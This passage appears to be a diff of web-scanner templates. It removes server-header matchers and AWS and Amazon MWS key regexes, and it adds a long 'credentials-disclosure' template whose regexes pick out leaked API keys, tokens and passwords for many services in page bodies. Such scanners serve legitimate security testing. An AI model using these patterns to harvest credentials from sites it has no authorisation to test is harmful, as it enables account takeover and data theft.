-        part: header
-      - type: word
-        name: lighttpd
-        words:
-          - "lighttpd"
-        part: header
-      - type: word
-        name: lighttpd
-        words:
-          - "lighttpd"
-        part: header
-      - type: word
-        name: wsgiserver
-        words:
-          - "WSGIServer"
-        part: header
-      - type: word
-        name: simplehttp
-        words:
-          - "SimpleHTTP"
-        part: header
-      - type: word
-        name: twistedweb
-        words:
-          - "TwistedWeb"
-        part: header
-      - type: word
-        name: tsm
-        words:
-          - "TSM_HTTP"
-        part: header
-      - type: word
-        name: ms-iis
-        words:
-          - "Microsoft-IIS"
-        part: header
-      - type: word
-        name: ms-httpapi
-        words:
-          - "Microsoft-HTTPAPI"
-        part: header
-      - type: word
-        name: tomcat
-        words:
-          - "Tomcat"
-        part: header
-      - type: word
-        name: darkhttpd
-        words:
-          - "darkhttpd"
-        part: header
-      - type: word
-        name: cherrypy
-        words:
-          - "CherryPy"
-        part: header
-      - type: word
-        name: cherokee
-        words:
-          - "Cherokee"
-        part: header
-      - type: word
-        name: caddy
-        words:
-          - "Caddy"
-        part: header
-      - type: word
-        name: jetty
-        words:
-          - "Jetty"
-        part: header
@@ -10,13 +10,6 @@ requests:
    path:
      - "{{BaseURL}}"

-    matchers-condition: and
-    matchers:
-      - type: regex
-        part: body
-        regex:
-          - "amzn\\.mws\\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}"
-
    extractors:
      - type: regex
        part: body
@@ -10,13 +10,6 @@ requests:
    path:
      - "{{BaseURL}}"

-    matchers-condition: and
-    matchers:
-      - type: regex
-        part: body
-        regex:
-          - "(A3T[A-Z0-9]|AKIA|AGPA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}"
-
    extractors:
      - type: regex
        part: body
@@ -0,0 +1,709 @@
+id: credentials-disclosure
+
+# Extract secrets regex like api keys, password, token, etc ... for different services
+# Always validate the leaked key/tokens/passwords to make sure it's valid, a token/keys without any impact is not an valid issue.
+# Severity is not fixed in this case, it varies from none to critical depending upon impact of disclosed key/tokes.
+# Regex count:- 687
+
+info:
+  name: Credentials Disclosure Check
+  author: Sy3Omda
+  severity: medium
+  description: Look for multiple keys/tokens/passwords in the page response.
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}"
+
+    extractors:
+      - type: regex
+        part: body
+        regex:
+          - "zopim[_-]account[_-]key(=| =|:| :)"
+          - "zhuliang[_-]gh[_-]token(=| =|:| :)"
+          - "zensonatypepassword(=| =|:| :)"
+          - "zendesk[_-]travis[_-]github(=| =|:| :)"
+          - "yt[_-]server[_-]api[_-]key(=| =|:| :)"
+          - "yt[_-]partner[_-]refresh[_-]token(=| =|:| :)"
+          - "yt[_-]partner[_-]client[_-]secret(=| =|:| :)"
+          - "yt[_-]client[_-]secret(=| =|:| :)"
+          - "yt[_-]api[_-]key(=| =|:| :)"
+          - "yt[_-]account[_-]refresh[_-]token(=| =|:| :)"
+          - "yt[_-]account[_-]client[_-]secret(=| =|:| :)"
+          - "yangshun[_-]gh[_-]token(=| =|:| :)"
+          - "yangshun[_-]gh[_-]password(=| =|:| :)"
+          - "www[_-]googleapis[_-]com(=| =|:| :)"
+          - "wpt[_-]ssh[_-]private[_-]key[_-]base64(=| =|:| :)"
+          - "wpt[_-]ssh[_-]connect(=| =|:| :)"
+          - "wpt[_-]report[_-]api[_-]key(=| =|:| :)"
+          - "wpt[_-]prepare[_-]dir(=| =|:| :)"
+          - "wpt[_-]db[_-]user(=| =|:| :)"
+          - "wpt[_-]db[_-]password(=| =|:| :)"
+          - "wporg[_-]password(=| =|:| :)"
+          - "wpjm[_-]phpunit[_-]google[_-]geocode[_-]api[_-]key(=| =|:| :)"
+          - "wordpress[_-]db[_-]user(=| =|:| :)"
+          - "wordpress[_-]db[_-]password(=| =|:| :)"
+          - "wincert[_-]password(=| =|:| :)"
+          - "widget[_-]test[_-]server(=| =|:| :)"
+          - "widget[_-]fb[_-]password[_-]3(=| =|:| :)"
+          - "widget[_-]fb[_-]password[_-]2(=| =|:| :)"
+          - "widget[_-]fb[_-]password(=| =|:| :)"
+          - "widget[_-]basic[_-]password[_-]5(=| =|:| :)"
+          - "widget[_-]basic[_-]password[_-]4(=| =|:| :)"
+          - "widget[_-]basic[_-]password[_-]3(=| =|:| :)"
+          - "widget[_-]basic[_-]password[_-]2(=| =|:| :)"
+          - "widget[_-]basic[_-]password(=| =|:| :)"
+          - "watson[_-]password(=| =|:| :)"
+          - "watson[_-]device[_-]password(=| =|:| :)"
+          - "watson[_-]conversation[_-]password(=| =|:| :)"
+          - "wakatime[_-]api[_-]key(=| =|:| :)"
+          - "vscetoken(=| =|:| :)"
+          - "visual[_-]recognition[_-]api[_-]key(=| =|:| :)"
+          - "virustotal[_-]apikey(=| =|:| :)"
+          - "vip[_-]github[_-]deploy[_-]key[_-]pass(=| =|:| :)"
+          - "vip[_-]github[_-]deploy[_-]key(=| =|:| :)"
+          - "vip[_-]github[_-]build[_-]repo[_-]deploy[_-]key(=| =|:| :)"
+          - "v[_-]sfdc[_-]password(=| =|:| :)"
+          - "v[_-]sfdc[_-]client[_-]secret(=| =|:| :)"
+          - "usertravis(=| =|:| :)"
+          - "user[_-]assets[_-]secret[_-]access[_-]key(=| =|:| :)"
+          - "user[_-]assets[_-]access[_-]key[_-]id(=| =|:| :)"
+          - "use[_-]ssh(=| =|:| :)"
+          - "us[_-]east[_-]1[_-]elb[_-]amazonaws[_-]com(=| =|:| :)"
+          - "urban[_-]secret(=| =|:| :)"
+          - "urban[_-]master[_-]secret(=| =|:| :)"
+          - "urban[_-]key(=| =|:| :)"
+          - "unity[_-]serial(=| =|:| :)"
+          - "unity[_-]password(=| =|:| :)"
+          - "twitteroauthaccesstoken(=| =|:| :)"
+          - "twitteroauthaccesssecret(=| =|:| :)"
+          - "twitter[_-]consumer[_-]secret(=| =|:| :)"
+          - "twitter[_-]consumer[_-]key(=| =|:| :)"
+          - "twine[_-]password(=| =|:| :)"
+          - "twilio[_-]token(=| =|:| :)"
+          - "twilio[_-]sid(=| =|:| :)"
+          - "twilio[_-]configuration[_-]sid(=| =|:| :)"
+          - "twilio[_-]chat[_-]account[_-]api[_-]service(=| =|:| :)"
+          - "twilio[_-]api[_-]secret(=| =|:| :)"
+          - "twilio[_-]api[_-]key(=| =|:| :)"
+          - "trex[_-]okta[_-]client[_-]token(=| =|:| :)"
+          - "trex[_-]client[_-]token(=| =|:| :)"
+          - "travis[_-]token(=| =|:| :)"
+          - "travis[_-]secure[_-]env[_-]vars(=| =|:| :)"
+          - "travis[_-]pull[_-]request(=| =|:| :)"
+          - "travis[_-]gh[_-]token(=| =|:| :)"
+          - "travis[_-]e2e[_-]token(=| =|:| :)"
+          - "travis[_-]com[_-]token(=| =|:| :)"
+          - "travis[_-]branch(=| =|:| :)"
+          - "travis[_-]api[_-]token(=| =|:| :)"
+          - "travis[_-]access[_-]token(=| =|:| :)"
+          - "token[_-]core[_-]java(=| =|:| :)"
+          - "thera[_-]oss[_-]access[_-]key(=| =|:| :)"
+          - "tester[_-]keys[_-]password(=| =|:| :)"
+          - "test[_-]test(=| =|:| :)"
+          - "test[_-]github[_-]token(=| =|:| :)"
+          - "tesco[_-]api[_-]key(=| =|:| :)"
+          - "svn[_-]pass(=| =|:| :)"
+          - "surge[_-]token(=| =|:| :)"
+          - "surge[_-]login(=| =|:| :)"
+          - "stripe[_-]public(=| =|:| :)"
+          - "stripe[_-]private(=| =|:| :)"
+          - "strip[_-]secret[_-]key(=| =|:| :)"
+          - "strip[_-]publishable[_-]key(=| =|:| :)"
+          - "stormpath[_-]api[_-]key[_-]secret(=| =|:| :)"
+          - "stormpath[_-]api[_-]key[_-]id(=| =|:| :)"
+          - "starship[_-]auth[_-]token(=| =|:| :)"
+          - "starship[_-]account[_-]sid(=| =|:| :)"
+          - "star[_-]test[_-]secret[_-]access[_-]key(=| =|:| :)"
+          - "star[_-]test[_-]location(=| =|:| :)"
+          - "star[_-]test[_-]bucket(=| =|:| :)"
+          - "star[_-]test[_-]aws[_-]access[_-]key[_-]id(=| =|:| :)"
+          - "staging[_-]base[_-]url[_-]runscope(=| =|:| :)"
+          - "ssmtp[_-]config(=| =|:| :)"
+          - "sshpass(=| =|:| :)"
+          - "srcclr[_-]api[_-]token(=| =|:| :)"
+          - "square[_-]reader[_-]sdk[_-]repository[_-]password(=| =|:| :)"
+          - "sqssecretkey(=| =|:| :)"
+          - "sqsaccesskey(=| =|:| :)"
+          - "spring[_-]mail[_-]password(=| =|:| :)"
+          - "spotify[_-]api[_-]client[_-]secret(=| =|:| :)"
+          - "spotify[_-]api[_-]access[_-]token(=| =|:| :)"
+          - "spaces[_-]secret[_-]access[_-]key(=| =|:| :)"
+          - "spaces[_-]access[_-]key[_-]id(=| =|:| :)"
+          - "soundcloud[_-]password(=| =|:| :)"
+          - "soundcloud[_-]client[_-]secret(=| =|:| :)"
+          - "sonatypepassword(=| =|:| :)"
+          - "sonatype[_-]token[_-]user(=| =|:| :)"
+          - "sonatype[_-]token[_-]password(=| =|:| :)"
+          - "sonatype[_-]password(=| =|:| :)"
+          - "sonatype[_-]pass(=| =|:| :)"
+          - "sonatype[_-]nexus[_-]password(=| =|:| :)"
+          - "sonatype[_-]gpg[_-]passphrase(=| =|:| :)"
+          - "sonatype[_-]gpg[_-]key[_-]name(=| =|:| :)"
+          - "sonar[_-]token(=| =|:| :)"
+          - "sonar[_-]project[_-]key(=| =|:| :)"
+          - "sonar[_-]organization[_-]key(=| =|:| :)"
+          - "socrata[_-]password(=| =|:| :)"
+          - "socrata[_-]app[_-]token(=| =|:| :)"
+          - "snyk[_-]token(=| =|:| :)"
+          - "snyk[_-]api[_-]token(=| =|:| :)"
+          - "snoowrap[_-]refresh[_-]token(=| =|:| :)"
+          - "snoowrap[_-]password(=| =|:| :)"
+          - "snoowrap[_-]client[_-]secret(=| =|:| :)"
+          - "slate[_-]user[_-]email(=| =|:| :)"
+          - "slash[_-]developer[_-]space[_-]key(=| =|:| :)"
+          - "slash[_-]developer[_-]space(=| =|:| :)"
+          - "signing[_-]key[_-]sid(=| =|:| :)"
+          - "signing[_-]key[_-]secret(=| =|:| :)"
+          - "signing[_-]key[_-]password(=| =|:| :)"
+          - "signing[_-]key(=| =|:| :)"
+          - "setsecretkey(=| =|:| :)"
+          - "setdstsecretkey(=| =|:| :)"
+          - "setdstaccesskey(=| =|:| :)"
+          - "ses[_-]secret[_-]key(=| =|:| :)"
+          - "ses[_-]access[_-]key(=| =|:| :)"
+          - "service[_-]account[_-]secret(=| =|:| :)"
+          - "sentry[_-]key(=| =|:| :)"
+          - "sentry[_-]endpoint(=| =|:| :)"
+          - "sentry[_-]default[_-]org(=| =|:| :)"
+          - "sentry[_-]auth[_-]token(=| =|:| :)"
+          - "sendwithus[_-]key(=| =|:| :)"
+          - "sendgrid[_-]username(=| =|:| :)"
+          - "sendgrid[_-]user(=| =|:| :)"
+          - "sendgrid[_-]password(=| =|:| :)"
+          - "sendgrid[_-]key(=| =|:| :)"
+          - "sendgrid[_-]api[_-]key(=| =|:| :)"
+          - "sendgrid(=| =|:| :)"
+          - "selion[_-]selenium[_-]host(=| =|:| :)"
+          - "selion[_-]log[_-]level[_-]dev(=| =|:| :)"
+          - "segment[_-]api[_-]key(=| =|:| :)"
+          - "secretkey(=| =|:| :)"
+          - "secretaccesskey(=| =|:| :)"
+          - "secret[_-]key[_-]base(=| =|:| :)"
+          - "secret[_-]9(=| =|:| :)"
+          - "secret[_-]8(=| =|:| :)"
+          - "secret[_-]7(=| =|:| :)"
+          - "secret[_-]6(=| =|:| :)"
+          - "secret[_-]5(=| =|:| :)"
+          - "secret[_-]4(=| =|:| :)"
+          - "secret[_-]3(=| =|:| :)"
+          - "secret[_-]2(=| =|:| :)"
+          - "secret[_-]11(=| =|:| :)"
+          - "secret[_-]10(=| =|:| :)"
+          - "secret[_-]1(=| =|:| :)"
+          - "secret[_-]0(=| =|:| :)"
+          - "sdr[_-]token(=| =|:| :)"
+          - "scrutinizer[_-]token(=| =|:| :)"
+          - "sauce[_-]access[_-]key(=| =|:| :)"
+          - "sandbox[_-]aws[_-]secret[_-]access[_-]key(=| =|:| :)"
+          - "sandbox[_-]aws[_-]access[_-]key[_-]id(=| =|:| :)"
+          - "sandbox[_-]access[_-]token(=| =|:| :)"
+          - "salesforce[_-]bulk[_-]test[_-]security[_-]token(=| =|:| :)"
+          - "salesforce[_-]bulk[_-]test[_-]password(=| =|:| :)"
+          - "sacloud[_-]api(=| =|:| :)"
+          - "sacloud[_-]access[_-]token[_-]secret(=| =|:| :)"
+          - "sacloud[_-]access[_-]token(=| =|:| :)"
+          - "s3[_-]user[_-]secret(=| =|:| :)"
+          - "s3[_-]secret[_-]key(=| =|:| :)"
+          - "s3[_-]secret[_-]assets(=| =|:| :)"
+          - "s3[_-]secret[_-]app[_-]logs(=| =|:| :)"
+          - "s3[_-]key[_-]assets(=| =|:| :)"
+          - "s3[_-]key[_-]app[_-]logs(=| =|:| :)"
+          - "s3[_-]key(=| =|:| :)"
+          - "s3[_-]external[_-]3[_-]amazonaws[_-]com(=| =|:| :)"
+          - "s3[_-]bucket[_-]name[_-]assets(=| =|:| :)"
+          - "s3[_-]bucket[_-]name[_-]app[_-]logs(=| =|:| :)"
+          - "s3[_-]access[_-]key[_-]id(=| =|:| :)"
+          - "s3[_-]access[_-]key(=| =|:| :)"
+          - "rubygems[_-]auth[_-]token(=| =|:| :)"
+          - "rtd[_-]store[_-]pass(=| =|:| :)"
+          - "rtd[_-]key[_-]pass(=| =|:| :)"
+          - "route53[_-]access[_-]key[_-]id(=| =|:| :)"
+          - "ropsten[_-]private[_-]key(=| =|:| :)"
+          - "rinkeby[_-]private[_-]key(=| =|:| :)"
+          - "rest[_-]api[_-]key(=| =|:| :)"
+          - "repotoken(=| =|:| :)"
+          - "reporting[_-]webdav[_-]url(=| =|:| :)"
+          - "reporting[_-]webdav[_-]pwd(=| =|:| :)"
+          - "release[_-]token(=| =|:| :)"
+          - "release[_-]gh[_-]token(=| =|:| :)"
+          - "registry[_-]secure(=| =|:| :)"
+          - "registry[_-]pass(=| =|:| :)"
+          - "refresh[_-]token(=| =|:| :)"
+          - "rediscloud[_-]url(=| =|:| :)"
+          - "redis[_-]stunnel[_-]urls(=| =|:| :)"
+          - "randrmusicapiaccesstoken(=| =|:| :)"
+          - "rabbitmq[_-]password(=| =|:| :)"
+          - "quip[_-]token(=| =|:| :)"
+          - "qiita[_-]token(=| =|:| :)"
+          - "pypi[_-]passowrd(=| =|:| :)"
+          - "pushover[_-]token(=| =|:| :)"
+          - "publish[_-]secret(=| =|:| :)"
+          - "publish[_-]key(=| =|:| :)"
+          - "publish[_-]access(=| =|:| :)"
+          - "project[_-]config(=| =|:| :)"
+          - "prod[_-]secret[_-]key(=| =|:| :)"
+          - "prod[_-]password(=| =|:| :)"
+          - "prod[_-]access[_-]key[_-]id(=| =|:| :)"
+          - "private[_-]signing[_-]password(=| =|:| :)"
+          - "pring[_-]mail[_-]username(=| =|:| :)"
+          - "preferred[_-]username(=| =|:| :)"
+          - "prebuild[_-]auth(=| =|:| :)"
+          - "postgresql[_-]pass(=| =|:| :)"
+          - "postgresql[_-]db(=| =|:| :)"
+          - "postgres[_-]env[_-]postgres[_-]password(=| =|:| :)"
+          - "postgres[_-]env[_-]postgres[_-]db(=| =|:| :)"
+          - "plugin[_-]password(=| =|:| :)"
+          - "plotly[_-]apikey(=| =|:| :)"
+          - "places[_-]apikey(=| =|:| :)"
+          - "places[_-]api[_-]key(=| =|:| :)"
+          - "pg[_-]host(=| =|:| :)"
+          - "pg[_-]database(=| =|:| :)"
+          - "personal[_-]secret(=| =|:| :)"
+          - "personal[_-]key(=| =|:| :)"
+          - "percy[_-]token(=| =|:| :)"
+          - "percy[_-]project(=| =|:| :)"
+          - "paypal[_-]client[_-]secret(=| =|:| :)"
+          - "passwordtravis(=| =|:| :)"
+          - "parse[_-]js[_-]key(=| =|:| :)"
+          - "pagerduty[_-]apikey(=| =|:| :)"
+          - "packagecloud[_-]token(=| =|:| :)"
+          - "ossrh[_-]username(=| =|:| :)"
+          - "ossrh[_-]secret(=| =|:| :)"
+          - "ossrh[_-]password(=| =|:| :)"
+          - "ossrh[_-]pass(=| =|:| :)"
+          - "ossrh[_-]jira[_-]password(=| =|:| :)"
+          - "os[_-]password(=| =|:| :)"
+          - "os[_-]auth[_-]url(=| =|:| :)"
+          - "org[_-]project[_-]gradle[_-]sonatype[_-]nexus[_-]password(=| =|:| :)"
+          - "org[_-]gradle[_-]project[_-]sonatype[_-]nexus[_-]password(=| =|:| :)"
+          - "openwhisk[_-]key(=| =|:| :)"
+          - "open[_-]whisk[_-]key(=| =|:| :)"
+          - "onesignal[_-]user[_-]auth[_-]key(=| =|:| :)"
+          - "onesignal[_-]api[_-]key(=| =|:| :)"
+          - "omise[_-]skey(=| =|:| :)"
+          - "omise[_-]pubkey(=| =|:| :)"
+          - "omise[_-]pkey(=| =|:| :)"
+          - "omise[_-]key(=| =|:| :)"
+          - "okta[_-]oauth2[_-]clientsecret(=| =|:| :)"
+          - "okta[_-]oauth2[_-]client[_-]secret(=| =|:| :)"
+          - "okta[_-]client[_-]token(=| =|:| :)"
+          - "ofta[_-]secret(=| =|:| :)"
+          - "ofta[_-]region(=| =|:| :)"
+          - "ofta[_-]key(=| =|:| :)"
+          - "octest[_-]password(=| =|:| :)"
+          - "octest[_-]app[_-]username(=| =|:| :)"
+          - "octest[_-]app[_-]password(=| =|:| :)"
+          - "oc[_-]pass(=| =|:| :)"
+          - "object[_-]store[_-]creds(=| =|:| :)"
+          - "object[_-]store[_-]bucket(=| =|:| :)"
+          - "object[_-]storage[_-]region[_-]name(=| =|:| :)"
+          - "object[_-]storage[_-]password(=| =|:| :)"
+          - "oauth[_-]token(=| =|:| :)"
+          - "numbers[_-]service[_-]pass(=| =|:| :)"
+          - "nuget[_-]key(=| =|:| :)"
+          - "nuget[_-]apikey(=| =|:| :)"
+          - "nuget[_-]api[_-]key(=| =|:| :)"
+          - "npm[_-]token(=| =|:| :)"
+          - "npm[_-]secret[_-]key(=| =|:| :)"
+          - "npm[_-]password(=| =|:| :)"
+          - "npm[_-]email(=| =|:| :)"
+          - "npm[_-]auth[_-]token(=| =|:| :)"
+          - "npm[_-]api[_-]token(=| =|:| :)"
+          - "npm[_-]api[_-]key(=| =|:| :)"
+          - "now[_-]token(=| =|:| :)"
+          - "non[_-]token(=| =|:| :)"
+          - "node[_-]pre[_-]gyp[_-]secretaccesskey(=| =|:| :)"
+          - "node[_-]pre[_-]gyp[_-]github[_-]token(=| =|:| :)"
+          - "node[_-]pre[_-]gyp[_-]accesskeyid(=| =|:| :)"
+          - "node[_-]env(=| =|:| :)"
+          - "ngrok[_-]token(=| =|:| :)"
+          - "ngrok[_-]auth[_-]token(=| =|:| :)"
+          - "nexuspassword(=| =|:| :)"
+          - "nexus[_-]password(=| =|:| :)"
+          - "new[_-]relic[_-]beta[_-]token(=| =|:| :)"
+          - "netlify[_-]api[_-]key(=| =|:| :)"
+          - "nativeevents(=| =|:| :)"
+          - "mysqlsecret(=| =|:| :)"
+          - "mysqlmasteruser(=| =|:| :)"
+          - "mysql[_-]username(=| =|:| :)"
+          - "mysql[_-]user(=| =|:| :)"
+          - "mysql[_-]root[_-]password(=| =|:| :)"
+          - "mysql[_-]password(=| =|:| :)"
+          - "mysql[_-]hostname(=| =|:| :)"
+          - "mysql[_-]database(=| =|:| :)"
+          - "my[_-]secret[_-]env(=| =|:| :)"
+          - "multi[_-]workspace[_-]sid(=| =|:| :)"
+          - "multi[_-]workflow[_-]sid(=| =|:| :)"
+          - "multi[_-]disconnect[_-]sid(=| =|:| :)"
+          - "multi[_-]connect[_-]sid(=| =|:| :)"
+          - "multi[_-]bob[_-]sid(=| =|:| :)"
+          - "minio[_-]secret[_-]key(=| =|:| :)"
+          - "minio[_-]access[_-]key(=| =|:| :)"
+          - "mile[_-]zero[_-]key(=| =|:| :)"
+          - "mh[_-]password(=| =|:| :)"
+          - "mh[_-]apikey(=| =|:| :)"
+          - "mg[_-]public[_-]api[_-]key(=| =|:| :)"
+          - "mg[_-]api[_-]key(=| =|:| :)"
+          - "mapboxaccesstoken(=| =|:| :)"
+          - "mapbox[_-]aws[_-]secret[_-]access[_-]key(=| =|:| :)"
+          - "mapbox[_-]aws[_-]access[_-]key[_-]id(=| =|:| :)"
+          - "mapbox[_-]api[_-]token(=| =|:| :)"
+          - "mapbox[_-]access[_-]token(=| =|:| :)"
+          - "manifest[_-]app[_-]url(=| =|:| :)"
+          - "manifest[_-]app[_-]token(=| =|:| :)"
+          - "mandrill[_-]api[_-]key(=| =|:| :)"
+          - "managementapiaccesstoken(=| =|:| :)"
+          - "management[_-]token(=| =|:| :)"
+          - "manage[_-]secret(=| =|:| :)"
+          - "manage[_-]key(=| =|:| :)"
+          - "mailgun[_-]secret[_-]api[_-]key(=| =|:| :)"
+          - "mailgun[_-]pub[_-]key(=| =|:| :)"
+          - "mailgun[_-]pub[_-]apikey(=| =|:| :)"
+          - "mailgun[_-]priv[_-]key(=| =|:| :)"
+          - "mailgun[_-]password(=| =|:| :)"
+          - "mailgun[_-]apikey(=| =|:| :)"
+          - "mailgun[_-]api[_-]key(=| =|:| :)"
+          - "mailer[_-]password(=| =|:| :)"
+          - "mailchimp[_-]key(=| =|:| :)"
+          - "mailchimp[_-]api[_-]key(=| =|:| :)"
+          - "mail[_-]password(=| =|:| :)"
+          - "magento[_-]password(=| =|:| :)"
+          - "magento[_-]auth[_-]username (=| =|:| :)"
+          - "magento[_-]auth[_-]password(=| =|:| :)"
+          - "lottie[_-]upload[_-]cert[_-]key[_-]store[_-]password(=| =|:| :)"
+          - "lottie[_-]upload[_-]cert[_-]key[_-]password(=| =|:| :)"
+          - "lottie[_-]s3[_-]secret[_-]key(=| =|:| :)"
+          - "lottie[_-]happo[_-]secret[_-]key(=| =|:| :)"
+          - "lottie[_-]happo[_-]api[_-]key(=| =|:| :)"
+          - "looker[_-]test[_-]runner[_-]client[_-]secret(=| =|:| :)"
+          - "ll[_-]shared[_-]key(=| =|:| :)"
+          - "ll[_-]publish[_-]url(=| =|:| :)"
+          - "linux[_-]signing[_-]key(=| =|:| :)"
+          - "linkedin[_-]client[_-]secretor lottie[_-]s3[_-]api[_-]key(=| =|:| :)"
+          - "lighthouse[_-]api[_-]key(=| =|:| :)"
+          - "lektor[_-]deploy[_-]username(=| =|:| :)"
+          - "lektor[_-]deploy[_-]password(=| =|:| :)"
+          - "leanplum[_-]key(=| =|:| :)"
+          - "kxoltsn3vogdop92m(=| =|:| :)"
+          - "kubeconfig(=| =|:| :)"
+          - "kubecfg[_-]s3[_-]path(=| =|:| :)"
+          - "kovan[_-]private[_-]key(=| =|:| :)"
+          - "keystore[_-]pass(=| =|:| :)"
+          - "kafka[_-]rest[_-]url(=| =|:| :)"
+          - "kafka[_-]instance[_-]name(=| =|:| :)"
+          - "kafka[_-]admin[_-]url(=| =|:| :)"
+          - "jwt[_-]secret(=| =|:| :)"
+          - "jdbc:mysql(=| =|:| :)"
+          - "jdbc[_-]host(=| =|:| :)"
+          - "jdbc[_-]databaseurl(=| =|:| :)"
+          - "itest[_-]gh[_-]token(=| =|:| :)"
+          - "ios[_-]docs[_-]deploy[_-]token(=| =|:| :)"
+          - "internal[_-]secrets(=| =|:| :)"
+          - "integration[_-]test[_-]appid(=| =|:| :)"
+          - "integration[_-]test[_-]api[_-]key(=| =|:| :)"
+          - "index[_-]name(=| =|:| :)"
+          - "ij[_-]repo[_-]username(=| =|:| :)"
+          - "ij[_-]repo[_-]password(=| =|:| :)"
+          - "hub[_-]dxia2[_-]password(=| =|:| :)"
+          - "homebrew[_-]github[_-]api[_-]token(=| =|:| :)"
+          - "hockeyapp[_-]token(=| =|:| :)"
+          - "heroku[_-]token(=| =|:| :)"
+          - "heroku[_-]email(=| =|:| :)"
+          - "heroku[_-]api[_-]key(=| =|:| :)"
+          - "hb[_-]codesign[_-]key[_-]pass(=| =|:| :)"
+          - "hb[_-]codesign[_-]gpg[_-]pass(=| =|:| :)"
+          - "hab[_-]key(=| =|:| :)"
+          - "hab[_-]auth[_-]token(=| =|:| :)"
+          - "grgit[_-]user(=| =|:| :)"
+          - "gren[_-]github[_-]token(=| =|:| :)"
+          - "gradle[_-]signing[_-]password(=| =|:| :)"
+          - "gradle[_-]signing[_-]key[_-]id(=| =|:| :)"
+          - "gradle[_-]publish[_-]secret(=| =|:| :)"
+          - "gradle[_-]publish[_-]key(=| =|:| :)"
+          - "gpg[_-]secret[_-]keys(=| =|:| :)"
+          - "gpg[_-]private[_-]key(=| =|:| :)"
+          - "gpg[_-]passphrase(=| =|:| :)"
+          - "gpg[_-]ownertrust(=| =|:| :)"
+          - "gpg[_-]keyname(=| =|:| :)"
+          - "gpg[_-]key[_-]name(=| =|:| :)"
+          - "google[_-]private[_-]key(=| =|:| :)"
+          - "google[_-]maps[_-]api[_-]key(=| =|:| :)"
+          - "google[_-]client[_-]secret(=| =|:| :)"
+          - "google[_-]client[_-]id(=| =|:| :)"
+          - "google[_-]client[_-]email(=| =|:| :)"
+          - "google[_-]account[_-]type(=| =|:| :)"
+          - "gogs[_-]password(=| =|:| :)"
+          - "gitlab[_-]user[_-]email(=| =|:| :)"
+          - "github[_-]tokens(=| =|:| :)"
+          - "github[_-]token(=| =|:| :)"
+          - "github[_-]repo(=| =|:| :)"
+          - "github[_-]release[_-]token(=| =|:| :)"
+          - "github[_-]pwd(=| =|:| :)"
+          - "github[_-]password(=| =|:| :)"
+          - "github[_-]oauth[_-]token(=| =|:| :)"
+          - "github[_-]oauth(=| =|:| :)"
+          - "github[_-]key(=| =|:| :)"
+          - "github[_-]hunter[_-]username(=| =|:| :)"
+          - "github[_-]hunter[_-]token(=| =|:| :)"
+          - "github[_-]deployment[_-]token(=| =|:| :)"
+          - "github[_-]deploy[_-]hb[_-]doc[_-]pass(=| =|:| :)"
+          - "github[_-]client[_-]secret(=| =|:| :)"
+          - "github[_-]auth[_-]token(=| =|:| :)"
+          - "github[_-]auth(=| =|:| :)"
+          - "github[_-]api[_-]token(=| =|:| :)"
+          - "github[_-]api[_-]key(=| =|:| :)"
+          - "github[_-]access[_-]token(=| =|:| :)"
+          - "git[_-]token(=| =|:| :)"
+          - "git[_-]name(=| =|:| :)"
+          - "git[_-]email(=| =|:| :)"
+          - "git[_-]committer[_-]name(=| =|:| :)"
+          - "git[_-]committer[_-]email(=| =|:| :)"
+          - "git[_-]author[_-]name(=| =|:| :)"
+          - "git[_-]author[_-]email(=| =|:| :)"
+          - "ghost[_-]api[_-]key(=| =|:| :)"
+          - "ghb[_-]token(=| =|:| :)"
+          - "gh[_-]unstable[_-]oauth[_-]client[_-]secret(=| =|:| :)"
+          - "gh[_-]token(=| =|:| :)"
+          - "gh[_-]repo[_-]token(=| =|:| :)"
+          - "gh[_-]oauth[_-]token(=| =|:| :)"
+          - "gh[_-]oauth[_-]client[_-]secret(=| =|:| :)"
+          - "gh[_-]next[_-]unstable[_-]oauth[_-]client[_-]secret(=| =|:| :)"
+          - "gh[_-]next[_-]unstable[_-]oauth[_-]client[_-]id(=| =|:| :)"
+          - "gh[_-]next[_-]oauth[_-]client[_-]secret(=| =|:| :)"
+          - "gh[_-]email(=| =|:| :)"
+          - "gh[_-]api[_-]key(=| =|:| :)"
+          - "gcs[_-]bucket(=| =|:| :)"
+          - "gcr[_-]password(=| =|:| :)"
+          - "gcloud[_-]service[_-]key(=| =|:| :)"
+          - "gcloud[_-]project(=| =|:| :)"
+          - "gcloud[_-]bucket(=| =|:| :)"
+          - "ftp[_-]username(=| =|:| :)"
+          - "ftp[_-]user(=| =|:| :)"
+          - "ftp[_-]pw(=| =|:| :)"
+          - "ftp[_-]password(=| =|:| :)"
+          - "ftp[_-]login(=| =|:| :)"
+          - "ftp[_-]host(=| =|:| :)"
+          - "fossa[_-]api[_-]key(=| =|:| :)"
+          - "flickr[_-]api[_-]secret(=| =|:| :)"
+          - "flickr[_-]api[_-]key(=| =|:| :)"
+          - "flask[_-]secret[_-]key(=| =|:| :)"
+          - "firefox[_-]secret(=| =|:| :)"
+          - "firebase[_-]token(=| =|:| :)"
+          - "firebase[_-]project[_-]develop(=| =|:| :)"
+          - "firebase[_-]key(=| =|:| :)"
+          - "firebase[_-]api[_-]token(=| =|:| :)"
+          - "firebase[_-]api[_-]json(=| =|:| :)"
+          - "file[_-]password(=| =|:| :)"
+          - "exp[_-]password(=| =|:| :)"
+          - "eureka[_-]awssecretkey(=| =|:| :)"
+          - "env[_-]sonatype[_-]password(=| =|:| :)"
+          - "env[_-]secret[_-]access[_-]key(=| =|:| :)"
+          - "env[_-]secret(=| =|:| :)"
+          - "env[_-]key(=| =|:| :)"
+          - "env[_-]heroku[_-]api[_-]key(=| =|:| :)"
+          - "env[_-]github[_-]oauth[_-]token(=| =|:| :)"
+          - "end[_-]user[_-]password(=| =|:| :)"
+          - "encryption[_-]password(=| =|:| :)"
+          - "elasticsearch[_-]password(=| =|:| :)"
+          - "elastic[_-]cloud[_-]auth(=| =|:| :)"
+          - "dsonar[_-]projectkey(=| =|:| :)"
+          - "dsonar[_-]login(=| =|:| :)"
+          - "droplet[_-]travis[_-]password(=| =|:| :)"
+          - "dropbox[_-]oauth[_-]bearer(=| =|:| :)"
+          - "doordash[_-]auth[_-]token(=| =|:| :)"
+          - "dockerhubpassword(=| =|:| :)"
+          - "dockerhub[_-]password(=| =|:| :)"
+          - "docker[_-]token(=| =|:| :)"
+          - "docker[_-]postgres[_-]url(=| =|:| :)"
+          - "docker[_-]password(=| =|:| :)"
